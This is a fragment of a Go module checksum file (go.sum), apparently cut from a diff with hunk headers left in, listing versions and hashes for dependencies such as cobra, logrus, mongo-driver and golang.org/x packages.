github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/kyokomi/emoji v2.2.4+incompatible h1:np0woGKwx9LiHAQmwZx79Oc0rHpNw3o+3evou4BEPv4=
github.com/kyokomi/emoji v2.2.4+incompatible/go.mod h1:mZ6aGCD7yk8j6QY6KICwnZ2pxoszVseX1DNoGtU2tBA=
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-sqlite3 v1.14.17 h1:mCRHCLDUBXgpKAqIKsaAaAsrAlbkeomtRFKXh2L6YIM=
github.com/mattn/go-sqlite3 v1.14.17/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/mapstructure v1.3.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY=
github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJuTMNUDYhXwkmfOly8iTdp5TEcJFWZD2D7SIkUc=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4=
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
github.com/patrickmn/go-cache v2.1.0+incompatible h1:HRMgzkcYKYpi3C8ajMPV8OFXaaRUnok+kx1WdO15EQc=
github.com/patrickmn/go-cache v2.1.0+incompatible/go.mod h1:3Qf8kWWT7OJRJbdiICTKqZju1ZixQ/KpMGzzAfe6+WQ=
github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8 h1:KoWmjvw+nsYOo29YJK9vDA65RGE3NrOnUtO7a+RF9HU=
github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8/go.mod h1:HKlIX3XHQyzLZPlr7++PzdhaXEj94dEiJgZDTsxEqUI=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.4.3 h1:utMvzDsuh3suAEnhH0RdHmoPbU648o6CvXxTx4SBMOw=
github.com/rivo/uniseg v0.4.3/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/afero v1.9.3 h1:41FoI0fD7OR7mGcKE/aOiLkGreyf8ifIOQmJANWogMk=
github.com/spf13/afero v1.9.3/go.mod h1:iUV7ddyEEZPO5gA3zD4fJt6iStLlL+Lg4m2cihcDf8Y=
github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
github.com/shivamMg/ppds v0.0.1 h1:idK2dpaen652zOO+OmcwmyoPNncBNqfHjF/14eS5JIk=
github.com/shivamMg/ppds v0.0.1/go.mod h1:hb39VqUO6qfkb9zBBQPTIV1vWBtI7yQsG0wr3pN78fM=
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/afero v1.9.5 h1:stMpOSZFs//0Lv29HduCmli3GUfpFoF3Y1Q/aXj/wVM=
github.com/spf13/afero v1.9.5/go.mod h1:UBogFpq8E9Hx+xc5CNTTEpTnuHVmXDwZcZcE1eb/UhQ=
github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/tidwall/pretty v1.0.0 h1:HsD+QiTn7sK6flMKIvNmpqz1qrpP3Ps6jOKIKMooyg4=
github.com/tidwall/pretty v1.0.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk=
github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI=
@@ -350,15 +433,18 @@ github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
go.mongodb.org/mongo-driver v1.10.0/go.mod h1:wsihk0Kdgv8Kqu1Anit4sfK+22vSFbUrAVEYRhCXrA8=
go.mongodb.org/mongo-driver v1.11.0 h1:FZKhBSTydeuffHj9CBjXlR8vQLee1cQyTWYPA6/tqiE=
go.mongodb.org/mongo-driver v1.11.0/go.mod h1:s7p5vEtfbeR1gYi6pnj3c3/urpbLv2T5Sfd6Rp2HBB8=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
go.mongodb.org/mongo-driver v1.11.7 h1:LIwYxASDLGUg/8wOhgOOZhX8tQa/9tgZPgzZoVqJvcs=
go.mongodb.org/mongo-driver v1.11.7/go.mod h1:G9TgswdsWjX4tmDA5zfs2+6AEPpYJwqblyjsfuh8oXY=
go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk=
go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0=
go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo=
go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
@@ -366,12 +452,13 @@ golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8U
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20220314234659-1baeb1ce4c0b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.3.0 h1:a06MkbcxBrEFc0w0QIZWXrH/9cCX6KJyWbBOIwAn+7A=
golang.org/x/crypto v0.3.0/go.mod h1:hebNnKkNXi2UzZN1eVRvBB7co0a+JxK6XbPiWVs/3J4=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g=
golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
@@ -405,6 +492,9 @@ golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk=
golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -433,10 +523,15 @@ golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81R
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
@@ -446,6 +541,8 @@ golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ
golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.8.0 h1:6dkIjl3j3LtZ/O3sTgZTMsLKSftL/B8Zgq4huOIIUu8=
golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
@@ -457,6 +554,8 @@ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.2.0 h1:PUR+T4wwASmuSTYdKjYHI5TD22Wy5ogLU5qZCOLxBrI=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -470,7 +569,6 @@ golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -493,14 +591,20 @@ golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210616045830-e2b7044e8c71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.2.0 h1:ljd4t30dBnAvMZaQCevtY0xLLD0A+bRZXbgLMLU1F/A=
golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.2.0 h1:z85xZCsEl7bi/KwbNADeBYoOP0++7W1ipu+aGnpwzRM=
golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@@ -509,8 +613,10 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.4.0 h1:BrVqGRd7+k1DiOgtnFvAkoQEWQvBc25ouMJM6429SFg=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
